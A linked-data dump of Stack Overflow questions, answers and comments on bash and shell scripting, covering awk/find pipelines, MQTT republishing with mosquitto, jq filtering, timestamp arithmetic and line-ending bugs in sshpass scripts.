has comment: http://stackoverflow.com/comment/136110048
has comment: http://stackoverflow.com/comment/136111332
type: Answer
has comment: http://stackoverflow.com/comment/136109365
has comment: http://stackoverflow.com/comment/136111363
has comment: http://stackoverflow.com/comment/136111382
has comment: http://stackoverflow.com/comment/136109734
answers question: http://stackoverflow.com/q/77204604
has comment: http://stackoverflow.com/comment/136109615
has comment: http://stackoverflow.com/comment/136109522
has comment: http://stackoverflow.com/comment/136107784
upvote count: 3
has body: version 2 Since you state you are using bash, process redirection is available: awk -F/ ' NR==FNR { if (/\.sql$/) a[$NF]; next } $NF in a { print; delete a[$NF] } END { exit length(a)!=0 } ' \ <( find DOC/ -name script.txt -exec cat {} + ) \ <( find . -name '*.sql' ) \ >sql_scripts.txt cat content of all script.txt files into awk store distinct sql filenames (without path) as keys of array a pass list of actual sql files (with path) to awk if basename is in a, print, then delete from a at the end, if a is not empty, exit non-zero Assumes list of basenames will fit comfortably in memory. If a.sql is listed in a script.txt and both dir1/a.sql and dir2/a.sql exist, only one will be printed. version 1 You can test for errors from whatever command you use to determine if any file is "not found". For example, using ls error messages: find DOC/ -name script.txt -exec grep '\.sql$' {} \; | tee sql_scripts.txt | test -z "$( xargs ls 2>&1 >/dev/null )" If you're worried that xargs output could become too large: find DOC/ -name script.txt -exec grep '\.sql$' {} \; | tee sql_scripts.txt | test 0 = $(xargs ls 2>&1 >/dev/null | wc -l) Or you could loop over the list and check for any test -e failures: find DOC/ -name script.txt -exec grep '\.sql$' {} \; | tee sql_scripts.txt | while read -r f; do -e $f || echo 1; done | exit $(tail -l) Or combine test and writing output with Perl: find DOC/ -name script.txt -exec grep '\.sql$' {} \; | perl -ple '$e|=!-e; END{exit$e}' >sql_scripts.txt
has comment: http://stackoverflow.com/comment/136109788
has comment: http://stackoverflow.com/comment/136107987
downvote count: 0
score: 3

http://stackoverflow.com/comment/136100199
has text: I see! Thank you. This makes total sense.
type: Comment
comment on: http://stackoverflow.com/a/77193805
type: AnswerComment
score: 0

http://stackoverflow.com/q/77134969
tagged with: linux
tagged with: bash
has title: How to customize SFTP verbose output in shell script
has body: I am running a shell command with verbose to connect to remote host as below. sftp -v -oport = 22 $user@$host The above command is giving some debug notes and finally giving the enter password line like below. `Password:` How can I customize the above command line so that it shows as. `$user@$host's Password:` Please assist.
answer count: 1
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77135067
tagged with: unix
accepted answer: http://stackoverflow.com/a/77135067
has comment: http://stackoverflow.com/comment/135980936
type: Question
tagged with: shell
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/136075002
type: QuestionComment
type: Comment
score: 0
has text: thanks everyone for trying to help. if anybody has the same question, here is the solution I found: in my minishell project, not in this test, I ended up allocating memory for all pipes, and opening them at once. The biggest problem, though, was with how I was closing my pipes in the wrong way. When I closed all of them both in the child process and in the parent process, my program began executing the commands the right way.
comment on: http://stackoverflow.com/q/77148106

http://stackoverflow.com/q/77209109
tagged with: apache-kafka
has answer: http://stackoverflow.com/a/77210481
tagged with: visual-studio-code
answer count: 1
has title: How to prevent running ./bin/kafka-topics.sh from opening Visual Studio Code?
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
has body: I'm trying to create a Kafka topic in Windows by executing this command: ./bin/kafka-topics.sh --create --topic quickstart-events --bootstrap-server localhost:9092 Upon execution, Visual Studio Code opens and presents the contents of kafka-topics.sh without creating a topic. The only things that appear in my PowerShell Terminal is update#setState idle and update#setState checking for updates Does anyone have ideas on how to address this issue?

http://stackoverflow.com/comment/136126319
type: Comment
score: 0
has text: @jqurious not sure if I completely understood ... what I read is that `#` would strip _"the shortest match, starting the search from the beginning"_ and `%` would strip _"the shortest match, starting the search from the end"_ of the string. Is this wrong?
type: QuestionComment
comment on: http://stackoverflow.com/q/77216118

http://stackoverflow.com/comment/135912062
comment on: http://stackoverflow.com/q/77095231
score: 0
type: QuestionComment
type: Comment
has text: you do not even check if malloc did not fail. Very poor code

http://stackoverflow.com/comment/136025997
comment on: http://stackoverflow.com/a/77160081
has text: It's all about the [MRE](https://stackoverflow.com/help/minimal-reproducible-example). You don't provide sample data for `$infi2` and `$kpointquantity`, for example, so we have no way to reproduce your problem
type: Comment
type: AnswerComment
score: 0

quoting
tag name: quoting
tags question: http://stackoverflow.com/q/77129361
type: Tag
tags question: http://stackoverflow.com/q/77724679
tags question: http://stackoverflow.com/q/77861130
tags question: http://stackoverflow.com/q/78663739
tags question: http://stackoverflow.com/q/78776250
tags question: http://stackoverflow.com/q/79334513

http://stackoverflow.com/comment/136013304
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77152949
has text: OS version NAME="Red Hat Enterprise Linux Server" VERSION="7.8 (Maipo)" Make version GNU Make 3.82

http://stackoverflow.com/comment/136151244
has text: Could you share the rundeck job definition to take a look? I'm suspecting that you need to use options to pass it to your script.
comment on: http://stackoverflow.com/q/77226745
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136166333
has text: It is good. Adding --paginate to the `gh api` command would be better if the target repository has many branches. It works fine in my local, and I will try on GitHub Actions later and see if it can fix my issue. Will mark it as answer after i tested.
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77234131

http://stackoverflow.com/comment/136126204
has text: The `#` variants match the beginning of the string (prefix). In examples 3 and 4 you want to match the end of the string (suffix) which suggests you want `%` and `%%` instead.
type: Comment
type: QuestionComment
score: 4
comment on: http://stackoverflow.com/q/77216118

http://stackoverflow.com/comment/135925492
comment on: http://stackoverflow.com/q/77100448
type: QuestionComment
type: Comment
score: 0
has text: What about it? I don't understand your point. Why do you think ngrok is relevant to your question? ngrok is essentially just a reverse proxy combined with some firewall and load balancing services. It cannot execute commands on the end user's machine, and it cannot ascertain their location.

http://stackoverflow.com/comment/136012793
type: Comment
comment on: http://stackoverflow.com/q/77152949
score: 1
has text: Please format the error message you're getting as a code block so it's readable. Also please be sure to specify the OS you're using and the version of make you're using.
type: QuestionComment

http://stackoverflow.com/a/77084181
answers question: http://stackoverflow.com/q/77083073
score: 0
type: Answer
has body: From your shell code you have: container('buildah') { sh """ for currentDestination in ${pushDestination}; do echo "currentDestination: \$currentDestination" done """ But ${pushDestination} will be rendered into the string as [ firstDestination, secondDestination ], but bash requires a different syntax for array definitions (ie (a b c d)) so you want to render that as the following: for currentDestination in (${pushDestination.join(" ")}); do echo "currentDestination: \$currentDestination" done

http://stackoverflow.com/q/77188280
tagged with: messagebroker
type: AnsweredQuestion
tagged with: mqtt
has answer: http://stackoverflow.com/a/78876133
has comment: http://stackoverflow.com/comment/136078983
has body: Iam trying to figure out a way to subscribe to multiple topics, and then after receiving a message the function should publish it to a different broker depending on the topic. I've thought of implementing a function that goes like this: when a publisher publishes a message the value of the topic published get stored in a variable called "topic" and the message get stored in a variable called "message". here is my code: #!/bin/bash SOURCE_BROKER="192.168.1.37" DEST_BROKER="192.168.1.25" while true do #Subscribe to both topics ("0_0" and "0_1") mosquitto_sub -h $SOURCE_BROKER -t "0_0" -t "0_1" -u pi -P Pass123 | while read -r topic message do # This is a callback to be executed every time a client subscribes to a topic echo "Client subscribed to ${topic}" # Check the topic and redirect the subscription if [ "$topic" == "0_0" ]; then # Publish the message to the broker (SOURCE_BROKER) mosquitto_pub -h $SOURCE_BROKER -t "$topic" -m "$message" -u pi -P Pass123 elif [ "$topic" == "0_1" ]; then # Publish the message to the new broker (DEST_BROKER) mosquitto_pub -h $DEST_BROKER -t "$topic" -m "$message" -u pi -P Pass123 fi done sleep 10 # Wait 10 seconds until reconnection done then I've discovered that it would not work because mosquitto_sub does not return the topic name when subscribing to more than one topic at the same time. Is there is any other way to implement this function?
answer count: 2
type: Question
tagged with: shell
accepted answer: http://stackoverflow.com/a/77188909
downvote count: 0
score: 1
favorite count: 0
upvote count: 1
tagged with: mosquitto
possible better answer: http://stackoverflow.com/a/78876133
has answer: http://stackoverflow.com/a/77188909
tagged with: bash
has title: How to subscribe to multiple topics (at least 2) and republish the message recieved to a single topic with Mosquitto MQTT using linux shell comands

http://stackoverflow.com/comment/135984894
score: 0
comment on: http://stackoverflow.com/q/77135598
type: QuestionComment
type: Comment
has text: @shellter Thank you, I'll definitely do that to try solving my issue. Best of luck!

http://stackoverflow.com/comment/135958009
comment on: http://stackoverflow.com/a/77122648
type: Comment
type: AnswerComment
has text: And how do I then actually read the stdout?
score: 0

http://stackoverflow.com/comment/135982844
type: QuestionComment
type: Comment
has text: "*`--tab --tab` works fine"* .. Good debugging! but I'm not a `gnome-terminal` user. It's my recollection that the `screen` utility can read a `.screenrc` (and other files (I think)), to have a scripted setup. Maybe there is an option like that for `gnome-terminal`? ... `man gnome-t...` (-;! Good luck.
score: 0
comment on: http://stackoverflow.com/q/77135598

http://stackoverflow.com/comment/136150141
has text: to test, add `-k` to your curl command (it bypasses any certificate validation and checks). You likely are using self-signed certs for the cluster and curl will by default not talk to an endpoint with an untrusted cert.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77229144

http://stackoverflow.com/q/77204604
score: -3
has comment: http://stackoverflow.com/comment/136110365
tagged with: bash
has comment: http://stackoverflow.com/comment/136105329
has comment: http://stackoverflow.com/comment/136110467
has title: How can I check "find" command (Linux) for search results in one-line script?
has comment: http://stackoverflow.com/comment/136110445
has body: I have a task to write one-line script for searching files script.txt in the directory DOC, inside which there are lists of file names (in one column). In these lists I need to find all lines that end with .sql As a result, I need to find all previously found names with the ending .sql in the current directory and all subdirectories(recursive searching), writing all paths these files in the file sql_scripts.txt. Output of file script.txt: sergey@sergey dir5 % cat script.txt file1.sql file.txt fie2.sql In this file line file1.sql should match ./file1.sql, file.txt shouldn't match, fie2.sql should match ./dir1/fie2.sql The difficulty is that it is necessary to return non-zero exit code if at least one file could not be found. Wrote the script: find DOC/ -name script.txt -exec cat {} \; | awk '/^[^-].*\.sql$/{print}' | xargs -I sql_file find . -name sql_file -type f | tee sql_scripts.txt I have no idea how to implement non-zero exit code in case the file is not found in this one-line script. "Linux find", even if it doesn't find a specific file, will continue to search further and return exit-code 0. I've seen similar questions, but most of them were like multi-line scripts. I need a one-line solution
has comment: http://stackoverflow.com/comment/136110212
has comment: http://stackoverflow.com/comment/136105315
has comment: http://stackoverflow.com/comment/136107268
type: Question
has comment: http://stackoverflow.com/comment/136105317
has comment: http://stackoverflow.com/comment/136105289
tagged with: shell
tagged with: linux
downvote count: 4
type: UnansweredQuestion
tagged with: pipe
answer count: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/136106859
has answer: http://stackoverflow.com/a/77205722

http://stackoverflow.com/comment/135922463
type: Comment
comment on: http://stackoverflow.com/q/77100448
score: 0
has text: The location data you see on Web pages comes from an API built into your browser. It does not require a shell command. https://developer.mozilla.org/en-US/docs/Web/API/Geolocation_API . At some point you, as the user, will have given your consent to this, the first time a website requested your browser to give the information.
type: QuestionComment

http://stackoverflow.com/comment/136008622
score: 0
has text: I just want to know the reason behind it and not just make it work. You didn't explain why it doesn't work.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77147775

http://stackoverflow.com/comment/135957158
has text: is your question PowerShell related? If so, in what way?
comment on: http://stackoverflow.com/q/77122156
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136045183
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77170416
type: Comment
has text: `: .value` can also be omitted when `key == value` e.g. `{iid, project_id, ref, status, source, created_at, updated_at, web_url}`

http://stackoverflow.com/comment/136072121
type: Comment
score: 0
type: QuestionComment
has text: In a bash script, the array should look like this `arr=("element1" "element2" "element3")`
comment on: http://stackoverflow.com/q/77185980

http://stackoverflow.com/comment/135978210
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/77129396
score: 0
has text: [As requested previously](https://stackoverflow.com/questions/77129396/shell-or-bash-script-input-a-string-line-from-a-text-file-and-search-it-recursi?noredirect=1#comment135971295_77129396) - please complete your [mcve] by adding an example of a file you'll be searching in and the output you expect given your 2 input files (file containing a list of "words", and a file to look for them in).

http://stackoverflow.com/comment/135993667
comment on: http://stackoverflow.com/a/77142355
has text: @KevinC What version of awk are you using?
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/136081112
comment on: http://stackoverflow.com/a/77190915
score: 0
has text: My original intention was to just print out the definitions of the list of functions. e.g. ```declare -F | grep -v "exclude some tuff" | xargs -I{} bash -cv "$(declare -f {})``` And I tried your suggestion above and that was exactly what I wanted. But because I did not **export**, it got derailed and went on to try command substition.
type: Comment
type: AnswerComment

http://stackoverflow.com/q/77142682
has body: Iam having start time and endtime in below formart endDatetime="12:53:12.846539" startDatetime="12:53:12.219691" Using below command iam trying to find the difference of timestamp in seconds..but getting invalid date expr $(date -d "$startDatetime" +%s) - $(date -d "$endDatetime" +%s) date: invalid date '12:53:12.846539' date: invalid date '12:53:12.219691 Another way tried date -d "12:53:12.846539" +%s date: invalid date '12:53:12.846539' Using linux command how i can get the time difference in above format in seconds
tagged with: bash
has answer: http://stackoverflow.com/a/77145348
has comment: http://stackoverflow.com/comment/135994408
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135994238
has answer: http://stackoverflow.com/a/77146128
tagged with: shell
tagged with: linux
linked to: http://stackoverflow.com/q/4946785
has comment: http://stackoverflow.com/comment/135994225
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135994369
has comment: http://stackoverflow.com/comment/136000943
has answer: http://stackoverflow.com/a/77146064
has title: Get timestamp difference linux command
answer count: 3
has comment: http://stackoverflow.com/comment/135994180

http://stackoverflow.com/a/77170238
answers question: http://stackoverflow.com/q/77170124
has body: Can we just use sed ? ls -l --b=M fileOfMy | sed -n 's/.* \([0-9]\+[KMGTPEZY]\) .*/\1/p
has comment: http://stackoverflow.com/comment/136047880
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/136049345

http://stackoverflow.com/comment/136063588
type: QuestionComment
score: 2
type: Comment
has text: @EmilyNwo no, it won't. You're doing something wrong but we won't know what until you provide a [mcve].
comment on: http://stackoverflow.com/q/77181016

http://stackoverflow.com/a/77193701
downvote count: 0
answers question: http://stackoverflow.com/q/77192288
score: 1
has body: To load data using bash script you can simply use mysql -e flag in the script as suggested by @Akina in the comment. If by records loaded you mean you wish to get the records affected by load statement then you can use verbose flag (mysql -v -e) in your bash script. --verbose, -v Verbose mode. Produce more output about what the program does. This option can be given multiple times to produce more and more output. (For example, -v -v -v produces table output format even in batch mode.) Below is an example script: #!/bin/bash USER="mysql_user" PASSWORD="your_password" load_stats=`mysql -u ${USER} -p${PASSWORD} -D your_db -v -v -e "load data infile '/tmp/test.txt' into table DEMO"` echo "${load_stats}" Output: -------------- load data infile '/tmp/test.txt' into table DEMO -------------- Query OK, 3 rows affected Records: 3 Deleted: 0 Skipped: 0 Warnings: 0 Bye
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/77192288
type: AcceptedAnswer

http://stackoverflow.com/q/77201320
tagged with: gnu-parallel
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/136099141
answer count: 1
downvote count: 0
tagged with: bash
favorite count: 0
has title: How to Interpret a Shell Variable in a String Value from a CSV Column Using GNU Parallel?
has answer: http://stackoverflow.com/a/77201523
type: AnsweredQuestion
score: 2
has body: I'm trying to use GNU Parallel to execute commands based on the values in a CSV file. My CSV file has multiple columns, and the value in the 5th column of each row is a string that looks like '${OUTDIR}/test'. Here's an example of how my CSV looks: col1,col2,col3,col4,'${OUTDIR}/test',col6 I want to use GNU Parallel to run mkdir -p on the value of the 5th column, interpreting ${OUTDIR} as an actual shell variable. For example, if OUTDIR=/tmp, then the command should run as mkdir -p /tmp/test. I tried the following command, but it didn't interpret ${OUTDIR}: parallel --colsep ',' 'mkdir -p {5}' :::: data.csv produced: mkdir -vp \'\$\{OUTDIR\}/test\' mkdir: created directory ''\''${OUTDIR}' mkdir: created directory ''\''${OUTDIR}/test'\''' How can I get GNU Parallel to interpret ${OUTDIR} in the string value from the CSV? I've tried using eval mkdir -p {5} but that doesn't deal with the quoting as I'd hoped.
upvote count: 2
accepted answer: http://stackoverflow.com/a/77201523

http://stackoverflow.com/comment/136120918
type: Comment
comment on: http://stackoverflow.com/q/77211820
has text: You are assigning `DATE=` but then interpolating `$DATE_` with an underscore in the name.
score: 1
type: QuestionComment

http://stackoverflow.com/q/77114954
accepted answer: http://stackoverflow.com/a/77114956
type: Question
tagged with: shell
answer count: 1
favorite count: 0
has title: direnv runs in emulated x86_64 environment
downvote count: 1
score: -1
tagged with: macos
tagged with: bash
tagged with: direnv
upvote count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77114956
has body: direnv is running in an emulated environment with Rosetta, despite my shell running in a normal environment. I am on mac osx and recently ran the migration tool from an x86_64 to M2 macbook pro. My shell is running in a normal environment, confirmed with arm64 output from uname -m direnv runs in an emulated environment, confirmed with x86_64 output from direnv exec . uname -m Uninstalling and reinstalling direnv does not help

http://stackoverflow.com/comment/135961610
type: Comment
has text: @boyal Thanks, I didn't now that option in build command! I tried it but I couldn't get anything new in this case.
score: 0
comment on: http://stackoverflow.com/q/77121187
type: QuestionComment

http://stackoverflow.com/comment/135961565
score: 0
has text: > $_ only really makes sense in interactive Bash. Can you explain a bit more about this? I could'nt find documentation to support this.
comment on: http://stackoverflow.com/a/77121277
type: Comment
type: AnswerComment

http://stackoverflow.com/a/77200480
score: 1
has comment: http://stackoverflow.com/comment/136098417
upvote count: 1
has body: According to your comment you want to append, but actually you overwrite: cat /tmp/merged_file_with_header.csv /tmp/temp_file.csv &gt; /tmp/merged_file.csv Do a cat /tmp/merged_file_with_header.csv /tmp/temp_file.csv &gt;&gt; /tmp/merged_file.csv instead.
answers question: http://stackoverflow.com/q/77200388
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135994238
score: 1
type: QuestionComment
type: Comment
has text: @JJY9, the arithmetic is tricky. Better to just do the truncation then use `date` if your shell is too old.
comment on: http://stackoverflow.com/q/77142682

http://stackoverflow.com/a/77173782
has comment: http://stackoverflow.com/comment/136051908
has comment: http://stackoverflow.com/comment/136050679
has comment: http://stackoverflow.com/comment/136050664
has comment: http://stackoverflow.com/comment/136050830
type: Answer
has comment: http://stackoverflow.com/comment/136051051
score: 0
has comment: http://stackoverflow.com/comment/136050850
answers question: http://stackoverflow.com/q/77169893
has body: Don't populate a bunch of scalar variables with suffixes 1-N, populate an array, e.g. arr[1]="employee='Scott'", An associative array might make the most sense for your needs though, arr['employee']='Scott'. There's lots of answers on this forum and stackexchange showing how do do either of those but yours is slightly complicated by having multiple tab-separated assignments per line so here you go: declare -A arr while IFS='=' read -r tag val; do arr["$tag"]="$val" done < <(tr $'\t' $'\n' < file) with the result being that arr[] is populated with the tag (name) to value mappings: declare -p arr declare -A arr=([employee]="'Scott'" [job]="'Manager'" [deptno]="10" [location]="'Chicago'" [deptname]="'Accounts'" [hike_in_perc]="15" [Salary]="10000" ) The above assumes there are no duplicate tags in the input since there are none in the example the OP provided.

http://stackoverflow.com/comment/136128848
comment on: http://stackoverflow.com/q/77217599
type: QuestionComment
type: Comment
score: 0
has text: What part are you having trouble? Just read the file line by line into a variable, and run the `dig` command with the variable after `-x`.

http://stackoverflow.com/a/77170418
has body: If you want to provide what to keep, you can use the pick filter if you have jq 1.7: map(pick( .iid, .project_id, .ref, .status, .source, .created_at, .updated_at, .web_url )) Demo If you don't have jq 1.7, you can define it by copying it over from the source: def pick(pathexps): . as $in | reduce path(pathexps) as $a (null; setpath($a; $in|getpath($a)) ); map(pick(…)) Demo If you rather want to provide what to delete, use del instead: map(del(.id, .sha)) Demo As you've tried using with_entries and select, here's how you could achieve the desired result using these filters: Selecting what to keep: map(with_entries(select(.key | IN( "iid", "project_id", "ref", "status", "source", "created_at", "updated_at", "web_url" )))) Demo Selecting what not to keep: map(with_entries(select(.key | IN("id", "sha") | not))) Demo All of the above output: [ { "iid": 6316, "project_id": 1234, "ref": "test_branch", "status": "running", "source": "web", "created_at": "2023-09-25T05:55:20.788Z", "updated_at": "2023-09-25T05:55:23.481Z", "web_url": "https://example.gitlab.com" } ]
type: Answer
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/77170372
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/77170372
score: 4

http://stackoverflow.com/comment/135964094
type: Comment
comment on: http://stackoverflow.com/q/77124679
type: QuestionComment
score: 0
has text: but i dont want this , please help me et rid of this feature

http://stackoverflow.com/comment/135961956
has text: Thanks for including it. As it turns out, this reinforces why we insist on including exactly the code you tried. I have updated my answer.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/77121447
type: AnswerComment

http://stackoverflow.com/q/77171157
has answer: http://stackoverflow.com/a/77172219
type: Question
tagged with: shell
tagged with: linux
has comment: http://stackoverflow.com/comment/136047111
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/77173810
has comment: http://stackoverflow.com/comment/136046649
has body: I've a CSV file which contains a header line, multiple data lines and a footer line(which contains the data line count). I'm splitting the file based on the size(which is 5MB). After splitting the files I need the header to be persisted in all the files after the split and also the count needs to be changed in the footer accordingly as number of data lines may vary. split -d -a3 -b 5M --additional-suffix=_$(date '+%Y%m%d%H%M%S').CSV TEST-REPORT-D-INR-TEMP_20230905211012.CSV TEST-REPORT-D-INR-TEMP_ Sample File H|INR|TEST|YYYYMMDDHHMMSS DATALINE1 DATALINE2 DATALINE3 DATALINE4 DATALINE5 T|5 After the split the output I need is like File 1 H|INR|TEST|YYYYMMDDHHMMSS DATALINE1 DATALINE2 T|2 File 2 H|INR|TEST|YYYYMMDDHHMMSS DATALINE3 DATALINE4 T|2 File 3 H|INR|TEST|YYYYMMDDHHMMSS DATALINE5 T|1
has answer: http://stackoverflow.com/a/77171386
has comment: http://stackoverflow.com/comment/136047402
downvote count: 0
tagged with: bash
possible better answer: http://stackoverflow.com/a/77172219
accepted answer: http://stackoverflow.com/a/77171386
favorite count: 0
type: AnsweredQuestion
tagged with: awk
tagged with: unix
answer count: 3
has title: Persist header and trailer in split command in linux

http://stackoverflow.com/q/77156832
tagged with: windows-subsystem-for-linux
answer count: 2
tagged with: linux
downvote count: 0
tagged with: bash
has answer: http://stackoverflow.com/a/77156903
upvote count: 1
has answer: http://stackoverflow.com/a/77157048
favorite count: 0
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/77156903
possible better answer: http://stackoverflow.com/a/77157048
tagged with: unix
type: Question
has body: I'm running a script from Ubuntu 22 (WSL), and it was functioning OK until it suddenly stopped. This script connects to remote servers and collects data via ssh using ssh-pass the code with the issue listed below. for IP in `cat $1` do SERVERVER=`eval "export SSHPASS='""$(echo $password )""'";sshpass -e ssh $username@$IP -o "ConnectTimeout 3" "uname -sn"` if [ $? == 0 ]; then $1 - IP list The issue is ssh connection fail due to additional characters "$" and "\r" ++ sshpass -e ssh $'mynewuser@192.168.10.4\r' -o 'ConnectTimeout 3' 'uname -sn' + SERVERVER= + '[' 255 == 0 ']' I tried dos2unix but still same. Expected ++ sshpass -e ssh 'mynewuser@192.168.10.4' -o 'ConnectTimeout 3' 'uname -sn'
tagged with: shell
has title: bash script failing with additional charactors "\r"
score: 1

http://stackoverflow.com/a/77097491
has comment: http://stackoverflow.com/comment/135914218
has comment: http://stackoverflow.com/comment/135914877
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77097393
accepted answer of: http://stackoverflow.com/q/77097393
type: Answer
score: 3
has body: If you mean to count each /^&gt;/ as a sequence and then summarize sequence counts by filenames, you can do this in awk: awk 'FNR==1{if (name) print name, cnt; name=FILENAME; cnt=0} /^&gt;/{cnt++} END{print name, cnt}' *.fasta This also works but the file names may be in a different order than awk read them: awk '/^&gt;/{file_cnt[FILENAME]++} END{for (fn in file_cnt) print fn, file_cnt[fn]}' *.fasta You can also just use grep directly to count the matches: grep -c &quot;^&gt;&quot; *.fasta # that will be ':' delimited. # You can use sed, tr, awk to # change the ':' to a '\t` or whatever. In summary, use awk if you want to customize what is counted or printed. Use grep with a glob if you just want to count the total regex matches and sumarize by file name.
upvote count: 3

http://stackoverflow.com/q/77122868
tagged with: shell
linked to: http://stackoverflow.com/q/11978514
has comment: http://stackoverflow.com/comment/135958442
upvote count: 1
accepted answer: http://stackoverflow.com/a/77122945
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/135958566
has body: I need help with replacing the first line in the file that follows a given word (which will not be repeated). I have a file with content: "text1" { "text2" "0" "text3" "0" "text4" "0" "text5" "0" "text6" "0" } "text11" { "text2" "0" "text3" "0" "text4" "0" "text5" "0" "text6" "0" } "text21" { "text2" "0" "text3" "0" "text4" "0" "text5" "0" "text6" "0" } I would like to replace in Bash the line containing "text 5.0", but only the first one after the "text11" line. To finally get the result: "text1" { "text2" "0" "text3" "0" "text4" "0" "text5" "0" "text6" "0" } "text11" { "text2" "0" "text3" "0" "text4" "0" "REPLACED TEXT" "1" "text6" "0" } "text21" { "text2" "0" "text3" "0" "text4" "0" "text5" "0" "text6" "0" } Thanks for the help.
duplicate of: http://stackoverflow.com/q/11978514
possible better answer: http://stackoverflow.com/a/77123081
tagged with: sed
has answer: http://stackoverflow.com/a/77122890
has answer: http://stackoverflow.com/a/77122945
has comment: http://stackoverflow.com/comment/135964330
tagged with: bash
linked to: http://stackoverflow.com/q/22937618
has title: Replacing the text that follows a given word
type: Question
has comment: http://stackoverflow.com/comment/135958420
has answer: http://stackoverflow.com/a/77123081
type: AnsweredQuestion
tagged with: replace
answer count: 3
tagged with: sh
score: 0

http://stackoverflow.com/q/77156632
has body: i just want to write a bash program that stores top 5 process on variable as it is without removing new lines. #!/bin/bash getTopProcess(){ top_output=$(top -n 1 -b -o %CPU | awk 'NR&gt;=8 &amp;&amp; NR &lt;=12') echo $top_output } getTopProcess but my code print all in same line, can anyone help me with this output i get: 1937738 kavin-1+ 20 0 36.6g 153432 112596 S 6.2 1.0 0:22.70 code 1996549 root 20 0 23364 6208 4768 R 6.2 0.0 0:00.01 top 1 root 20 0 168216 10188 5496 S 0.0 0.1 1:28.14 systemd 2 root 20 0 0 0 0 S 0.0 0.0 0:00.62 kthreadd 3 root 0 -20 0 0 0 I 0.0 0.0 0:00.00 rcu_gp output i want: 1845 root 20 0 1407168 1372 1372 S 6.2 0.0 0:48.68 lwsmd 1851644 kavin-1+ 20 0 1131.0g 88896 61588 S 6.2 0.6 0:48.23 ulaa 1 root 20 0 168216 10188 5496 S 0.0 0.1 1:28.14 systemd 2 root 20 0 0 0 0 S 0.0 0.0 0:00.62 kthreadd 3 root 0 -20 0 0 0 I 0.0 0.0 0:00.00 rcu_gp
answer count: 1
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/10067266
linked to: http://stackoverflow.com/q/10067266
tagged with: linux
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/136020106
has comment: http://stackoverflow.com/comment/136021799
has comment: http://stackoverflow.com/comment/136019477
tagged with: awk
has answer: http://stackoverflow.com/a/77156715
has title: print command output stored in bash variabled as it with wothout removing new line
tagged with: sh
score: 0
accepted answer: http://stackoverflow.com/a/77156715
has comment: http://stackoverflow.com/comment/136019385
tagged with: shell

sockets
type: Tag
tags question: http://stackoverflow.com/q/77078329
tag name: sockets

http://stackoverflow.com/comment/135995348
comment on: http://stackoverflow.com/a/77142355
type: Comment
type: AnswerComment
has text: This works only if the second line (`another_value`) follows the identifying line (`my_value`). "Based on the section, it then loads another_value" sounds like this guarantee can't be made.
score: 0

direnv
tags question: http://stackoverflow.com/q/77114954
tag name: direnv
type: Tag

http://stackoverflow.com/comment/136169285
has text: Thanks again. The 2nd codes above run without errors, however, the values in range E2: E4 are not replaced by values from range D2:D4, and the values from range D2:D4 are not written into myscipt.js. I tried to modify your codes, but since I am pretty new to VB language I always get error messages after my modifications. so since I don't care about the values in range E2:E4, and I just need to write the values in range D2:D4 into myscrip.js, I am wondering if we can remove the Replace function, and directly write the values in range D2:D4 into myscript.js?
comment on: http://stackoverflow.com/a/77230785
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/77211956
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77211940
has comment: http://stackoverflow.com/comment/136118389
score: 2
upvote count: 2
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/77211940
has body: Your interactive shell is zsh, but you run the script with sh. To run your script with zsh, call zsh soubor2.sh. Alternatively, and recommended, add a shebang line to your script: #!/bin/zsh and mark it executable with chmod u+x soubor2.sh. Then you can execute it with just ./soubor2.sh and it will be executed with the right shell automatically.

http://stackoverflow.com/q/77075130
tagged with: shell
has answer: http://stackoverflow.com/a/77075213
has body: I'm doing a task, but I got an error: scr.sh: 3: Syntax error: word unexpected (expecting ")"). When I try to run my schell script on my local computer server, it works, but on the helios ssh server it return an error. Here's my test code: #!/bin/bash arr=(kitten dog parrot) for i in ${arr[@]} do echo $i done I tried to declare array like this: arr=("kitten" "dog" "parrot"), it was the same error. Using declare -a arr didn't work I run it like this: sh scr.sh
answer count: 1
tagged with: sh
accepted answer: http://stackoverflow.com/a/77075213
has title: scr.sh: 3: Syntax error: word unexpected (expecting ")")
has comment: http://stackoverflow.com/comment/135875169
tagged with: syntax
tagged with: syntax-error
duplicate of: http://stackoverflow.com/q/5725296
tagged with: bash
type: Question
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/5725296
has comment: http://stackoverflow.com/comment/135882468
has comment: http://stackoverflow.com/comment/135875186
score: 0

http://stackoverflow.com/comment/136063291
type: Comment
comment on: http://stackoverflow.com/q/77175255
has text: It works jhnc, thank you!
score: 0
type: QuestionComment

http://stackoverflow.com/a/77135067
has comment: http://stackoverflow.com/comment/135981015
type: Answer
has comment: http://stackoverflow.com/comment/135980948
score: 2
